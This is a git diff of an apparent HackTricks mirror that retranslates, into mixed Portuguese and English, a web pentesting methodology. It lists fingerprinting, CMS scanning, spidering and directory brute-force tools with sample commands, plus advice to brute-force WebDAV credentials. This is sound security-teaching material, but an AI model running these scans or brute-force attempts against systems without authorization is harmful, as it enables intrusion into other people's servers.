mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ispconfig.md
This commit is contained in:
parent
e249859007
commit
f21b4fda04
@ -432,6 +432,7 @@
|
||||
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
|
||||
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
|
||||
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
|
||||
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
|
||||
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
|
||||
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
|
||||
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
O serviço web é o mais **comum e extenso** e existem muitos **tipos diferentes de vulnerabilidades**.
|
||||
O serviço web é o serviço mais **comum e abrangente** e existem muitos **tipos diferentes de vulnerabilidades**.
|
||||
|
||||
**Porta padrão:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
@ -17,55 +17,55 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Orientação de API Web
|
||||
### Orientações para Web API
|
||||
|
||||
|
||||
{{#ref}}
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## Resumo da Metodologia
|
||||
## Resumo da metodologia
|
||||
|
||||
> Nesta metodologia, vamos supor que você vai atacar um domínio (ou subdomínio) e apenas isso. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com servidor web indeterminado dentro do escopo.
|
||||
> Nesta metodologia vamos supor que você vai atacar um domínio (ou subdomínio) e apenas esse. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com servidor web indeterminado dentro do escopo.
|
||||
|
||||
- [ ] Comece **identificando** as **tecnologias** usadas pelo servidor web. Procure por **truques** para ter em mente durante o restante do teste, se você conseguir identificar a tecnologia com sucesso.
|
||||
- [ ] Alguma **vulnerabilidade conhecida** da versão da tecnologia?
|
||||
- [ ] Usando alguma **tecnologia bem conhecida**? Algum **truque útil** para extrair mais informações?
|
||||
- [ ] Comece **identificando** as **tecnologias** usadas pelo servidor web. Procure por **truques** para ter em mente durante o restante do teste se você conseguir identificar a tecnologia com sucesso.
|
||||
- [ ] Existe alguma **vulnerabilidade conhecida** da versão da tecnologia?
|
||||
- [ ] Usando alguma **tecnologia bem conhecida**? Algum **truque útil** para extrair mais informação?
|
||||
- [ ] Algum **scanner especializado** para rodar (como wpscan)?
|
||||
- [ ] Lance **scanners de propósitos gerais**. Você nunca sabe se eles vão encontrar algo ou se vão descobrir alguma informação interessante.
|
||||
- [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **varredura SSL/TLS** (se HTTPS).
|
||||
- [ ] Comece a **spiderar** a página web: É hora de **encontrar** todos os possíveis **arquivos, pastas** e **parâmetros sendo usados.** Além disso, verifique por **descobertas especiais**.
|
||||
- [ ] _Note que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser spiderado._
|
||||
- [ ] **Brute-Forcing de Diretórios**: Tente forçar todos os diretórios descobertos em busca de novos **arquivos** e **diretórios**.
|
||||
- [ ] _Note que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
|
||||
- [ ] **Verificação de Backups**: Teste se você consegue encontrar **backups** de **arquivos descobertos** adicionando extensões de backup comuns.
|
||||
- [ ] **Brute-Force de parâmetros**: Tente **encontrar parâmetros ocultos**.
|
||||
- [ ] Uma vez que você tenha **identificado** todos os possíveis **endpoints** aceitando **entrada do usuário**, verifique todos os tipos de **vulnerabilidades** relacionadas a isso.
|
||||
- [ ] [Siga esta lista de verificação](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [ ] Execute **scanners de propósito geral**. Você nunca sabe se eles vão encontrar algo ou alguma informação interessante.
|
||||
- [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **SSL/TLS scan** (se HTTPS).
|
||||
- [ ] Start **spidering** the web page: É hora de **encontrar** todos os possíveis **files, folders** e **parameters being used.** Também verifique por **special findings**.
|
||||
- [ ] _Observe que toda vez que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser spidered._
|
||||
- [ ] **Directory Brute-Forcing**: Tente brute forcear todas as pastas descobertas procurando por novos **arquivos** e **diretórios**.
|
||||
- [ ] _Observe que toda vez que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
|
||||
- [ ] **Backups checking**: Teste se consegue encontrar **backups** de **discovered files** adicionando extensões comuns de backup.
|
||||
- [ ] **Brute-Force parameters**: Tente **encontrar parâmetros ocultos**.
|
||||
- [ ] Uma vez que você tenha **identificado** todos os possíveis **endpoints** que aceitam **user input**, verifique todos os tipos de **vulnerabilidades** relacionadas a eles.
|
||||
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Versão do Servidor (Vulnerável?)
|
||||
## Server Version (Vulnerable?)
|
||||
|
||||
### Identificar
|
||||
|
||||
Verifique se há **vulnerabilidades conhecidas** para a **versão** do servidor que está em execução.\
|
||||
Os **cabeçalhos HTTP e cookies da resposta** podem ser muito úteis para **identificar** as **tecnologias** e/ou **versão** sendo usadas. A **varredura Nmap** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Verifique se existem **vulnerabilidades conhecidas** para a **versão** do servidor que está em execução.\
|
||||
Os **HTTP headers e cookies da resposta** podem ser muito úteis para **identificar** as **tecnologias** e/ou **versão** sendo usadas. **Nmap scan** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Search **for** [**vulnerabilidades da versão da aplicação web**](../../generic-hacking/search-exploits.md)
|
||||
Search **for** [**vulnerabilidades da aplicação web** **versão**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Verifique se há algum WAF**
|
||||
### **Verificar se há algum WAF**
|
||||
|
||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Truques de tecnologia web
|
||||
### Truques de tecnologias web
|
||||
|
||||
Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologias** bem conhecidas que estão sendo usadas:
|
||||
Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologias** bem conhecidas usadas:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -77,8 +77,9 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
|
||||
- [**Git**](git.md)
|
||||
- [**Golang**](golang.md)
|
||||
- [**GraphQL**](graphql.md)
|
||||
- [**H2 - banco de dados SQL Java**](h2-java-sql-database.md)
|
||||
- [**truques do IIS**](iis-internet-information-services.md)
|
||||
- [**H2 - Java SQL database**](h2-java-sql-database.md)
|
||||
- [**ISPConfig**](ispconfig.md)
|
||||
- [**IIS tricks**](iis-internet-information-services.md)
|
||||
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
|
||||
- [**JBOSS**](jboss.md)
|
||||
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
|
||||
@ -88,7 +89,7 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
|
||||
- [**Laravel**](laravel.md)
|
||||
- [**Moodle**](moodle.md)
|
||||
- [**Nginx**](nginx.md)
|
||||
- [**PHP (php tem muitos truques interessantes que podem ser explorados)**](php-tricks-esp/index.html)
|
||||
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
|
||||
- [**Python**](python.md)
|
||||
- [**Spring Actuators**](spring-actuators.md)
|
||||
- [**Symphony**](symphony.md)
|
||||
@ -98,21 +99,21 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
|
||||
- [**WebDav**](put-method-webdav.md)
|
||||
- [**Werkzeug**](werkzeug.md)
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS para RCE)**](electron-desktop-apps/index.html)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Considere que o **mesmo domínio** pode estar usando **diferentes tecnologias** em diferentes **portas**, **pastas** e **subdomínios**._\
|
||||
Se a aplicação web estiver usando alguma **tecnologia/plataforma bem conhecida listada acima** ou **qualquer outra**, não se esqueça de **pesquisar na Internet** novos truques (e me avise!).
|
||||
_Tenha em conta que o **mesmo domínio** pode estar usando **tecnologias diferentes** em **portas**, **pastas** e **subdomínios** diferentes._\
|
||||
Se a aplicação web estiver usando alguma **tecnologia/plataforma listada acima** ou **qualquer outra**, não se esqueça de **pesquisar na Internet** por novos truques (e me avise!).
|
||||
|
||||
### Revisão de Código Fonte
|
||||
### Revisão do Código-Fonte
|
||||
|
||||
Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar por **sua conta um teste de caixa branca** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **teste de caixa preta**:
|
||||
Se o **código-fonte** da aplicação estiver disponível no **github**, além de realizar por **você mesmo um White box test** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **Black-Box testing**:
|
||||
|
||||
- Existe um arquivo **Change-log ou Readme ou Version** ou algo com **informações de versão acessíveis** via web?
|
||||
- Como e onde são salvas as **credenciais**? Existe algum (acessível?) **arquivo** com credenciais (nomes de usuário ou senhas)?
|
||||
- As **senhas** estão em **texto simples**, **criptografadas** ou qual **algoritmo de hash** é usado?
|
||||
- Está usando alguma **chave mestra** para criptografar algo? Qual **algoritmo** é usado?
|
||||
- Existe um **Change-log ou Readme ou Version** ou qualquer coisa com **informação de versão acessível** via web?
|
||||
- Como e onde são armazenadas as **credentials**? Existe algum (acessível?) **arquivo** com credenciais (usernames ou passwords)?
|
||||
- As **passwords** estão em **plain text**, **encrypted** ou qual **hashing algorithm** está sendo usado?
|
||||
- Está usando alguma **master key** para criptografar algo? Qual **algorithm** está sendo usado?
|
||||
- Você pode **acessar algum desses arquivos** explorando alguma vulnerabilidade?
|
||||
- Há alguma **informação interessante no github** (problemas resolvidos e não resolvidos)? Ou no **histórico de commits** (talvez alguma **senha introduzida dentro de um commit antigo**)?
|
||||
- Há alguma **informação interessante no github** (issues resolvidas e não resolvidas)? Ou no **commit history** (talvez alguma **password** introduzida em um commit antigo)?
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -135,10 +136,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||
```
|
||||
#### Scanners de CMS
|
||||
|
||||
Se um CMS for utilizado, não se esqueça de **executar um scanner**, talvez algo interessante seja encontrado:
|
||||
Se um CMS for usado, não esqueça de **executar um scanner**, talvez algo interessante seja encontrado:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websites para questões de segurança. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites para problemas de segurança. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
@ -148,45 +149,45 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Neste ponto, você já deve ter algumas informações sobre o servidor web utilizado pelo cliente (se algum dado for fornecido) e algumas dicas a serem lembradas durante o teste. Se você tiver sorte, pode até ter encontrado um CMS e executado algum scanner.
|
||||
> Neste ponto você já deve ter algumas informações sobre o servidor web sendo usado pelo cliente (se houver dados fornecidos) e alguns truques para ter em mente durante o teste. Se tiver sorte, você até encontrou um CMS e executou algum scanner.
|
||||
|
||||
## Descoberta de Aplicações Web Passo a Passo
|
||||
## Step-by-step Web Application Discovery
|
||||
|
||||
> A partir deste ponto, começaremos a interagir com a aplicação web.
|
||||
> A partir deste ponto vamos começar a interagir com a web application.
|
||||
|
||||
### Verificações Iniciais
|
||||
### Initial checks
|
||||
|
||||
**Páginas padrão com informações interessantes:**
|
||||
**Default pages with interesting info:**
|
||||
|
||||
- /robots.txt
|
||||
- /sitemap.xml
|
||||
- /crossdomain.xml
|
||||
- /clientaccesspolicy.xml
|
||||
- /.well-known/
|
||||
- Verifique também os comentários nas páginas principais e secundárias.
|
||||
- Verifique também comentários nas páginas principais e secundárias.
|
||||
|
||||
**Forçando erros**
|
||||
**Forcing errors**
|
||||
|
||||
Servidores web podem **comportar-se de maneira inesperada** quando dados estranhos são enviados a eles. Isso pode abrir **vulnerabilidades** ou **divulgar informações sensíveis**.
|
||||
Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
|
||||
|
||||
- Acesse **páginas falsas** como /whatever_fake.php (.aspx, .html, etc)
|
||||
- **Adicione "\[]", "]]" e "\[\["** nos **valores de cookie** e **valores de parâmetro** para criar erros
|
||||
- Gere erro fornecendo entrada como **`/~randomthing/%s`** no **final** da **URL**
|
||||
- Tente **diferentes Verbos HTTP** como PATCH, DEBUG ou errados como FAKE
|
||||
- Acesse **fake pages** como /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter values** to create errors
|
||||
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
|
||||
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
|
||||
|
||||
#### **Verifique se você pode fazer upload de arquivos (**[**verbo PUT, WebDav**](put-method-webdav.md)**)**
|
||||
#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Se você descobrir que o **WebDav** está **habilitado**, mas não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente:
|
||||
If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to:
|
||||
|
||||
- **Forçar Brute** credenciais
|
||||
- **Fazer upload de arquivos** via WebDav para o **resto** das **pastas encontradas** dentro da página web. Você pode ter permissões para fazer upload de arquivos em outras pastas.
|
||||
- **Brute Force** credentials
|
||||
- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
|
||||
|
||||
### **Vulnerabilidades SSL/TLS**
|
||||
### **SSL/TLS vulnerabilites**
|
||||
|
||||
- Se a aplicação **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM**
|
||||
- Se a aplicação está **enviando dados sensíveis (senhas) usando HTTP**. Então é uma alta vulnerabilidade.
|
||||
- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM**
|
||||
- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability.
|
||||
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (Em programas de Bug Bounty, provavelmente esse tipo de vulnerabilidade não será aceito) e use [**a2sv**](https://github.com/hahwul/a2sv) para rechecagem das vulnerabilidades:
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -195,65 +196,65 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vu
|
||||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
Informações sobre vulnerabilidades SSL/TLS:
|
||||
Information about SSL/TLS vulnerabilities:
|
||||
|
||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
|
||||
Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontrar o maior número possível de caminhos** a partir da aplicação testada. Portanto, a exploração da web e fontes externas devem ser usadas para encontrar o maior número possível de caminhos válidos.
|
||||
Inicie algum tipo de spider na web. O objetivo do spider é encontrar o máximo de paths possível na aplicação testada. Portanto, web crawling e fontes externas devem ser usadas para descobrir o maior número possível de paths válidos.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder em arquivos JS e fontes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HML, com LinkFinder para arquivos JS e Archive.org como fonte externa.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider HTML, também indica "arquivos suculentos".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interativo CLI. Também pesquisa no Archive.org.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Esta ferramenta não é um spider, mas pode ser útil. Você pode apenas indicar um arquivo com hosts e um arquivo com caminhos e o meg buscará cada caminho em cada host e salvará a resposta.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML com capacidades de renderização JS. No entanto, parece que não está sendo mantido, a versão pré-compilada é antiga e o código atual não compila.
|
||||
- [**gau**](https://github.com/lc/gau) (go): Spider HTML que usa provedores externos (wayback, otx, commoncrawl).
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs com parâmetros e os listará.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML com capacidades de renderização JS.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, com capacidades de embelezamento JS capaz de buscar novos caminhos em arquivos JS. Também pode valer a pena dar uma olhada no [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto no código-fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, red teamers, ninjas de infosec.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para analisar URLs relativas de arquivos JavaScript. Útil para descobrir facilmente requisições AJAX. Parece não estar sendo mantido.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando expressões regulares engenhosas para encontrar e extrair as URLs relativas de arquivos feios (minificados).
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Coletar informações interessantes de arquivos JS usando várias ferramentas.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Encontrar arquivos JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregar uma página em um navegador sem cabeça e imprimir todas as URLs carregadas para carregar a página.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Ferramenta de descoberta de conteúdo misturando várias opções das ferramentas anteriores.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Uma extensão Burp para encontrar caminhos e parâmetros em arquivos JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado a URL .js.map, obterá o código JS embelezado.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta é uma ferramenta usada para descobrir endpoints para um determinado alvo.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descobrir links da máquina wayback (também baixando as respostas na wayback e procurando mais links).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastear (mesmo preenchendo formulários) e também encontrar informações sensíveis usando regexes específicas.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado Crawler/Spider de segurança web com múltiplas funcionalidades projetado para profissionais de cibersegurança.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código-fonte JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples **extensão do Burp Suite** para **extrair os parâmetros e endpoints** da requisição para criar listas de palavras personalizadas para fuzzing e enumeração.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Ferramenta incrível para isso.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprimir todos os links que conseguir encontrar.
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
|
||||
|
||||
### Força Bruta em diretórios e arquivos
|
||||
### Brute Force directories and files
|
||||
|
||||
Comece a **forçar** a partir da pasta raiz e tenha certeza de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer essa força bruta **recursivamente** e adicionando no início da lista de palavras usada os nomes dos diretórios encontrados).\
|
||||
Ferramentas:
|
||||
Comece o brute-forcing a partir da pasta root e garanta fazer brute-force em todos os directories encontrados usando este método e todos os diretórios descobertos pelo Spidering (você pode fazer esse brute-forcing recursivamente e adicionando no início da wordlist usada os nomes dos diretórios encontrados).\
|
||||
Tools:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Incluído no Kali, **antigo** (e **lento**) mas funcional. Permite certificados autoassinados e busca recursiva. Muito lento em comparação com as outras opções.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Não permite certificados autoassinados, mas** permite busca recursiva.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados autoassinados, **não tem** busca **recursiva**.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, suporta busca recursiva.**
|
||||
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Rápido: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Esta não é uma spider, mas uma ferramenta que, dada a lista de URLs encontradas, irá deletar URLs "duplicadas".
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Extensão Burp para criar uma lista de diretórios a partir do histórico do burp de diferentes páginas.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs com funcionalidades duplicadas (baseado em imports js).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer para detectar tecnologias usadas e selecionar as listas de palavras a serem usadas.
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
|
||||
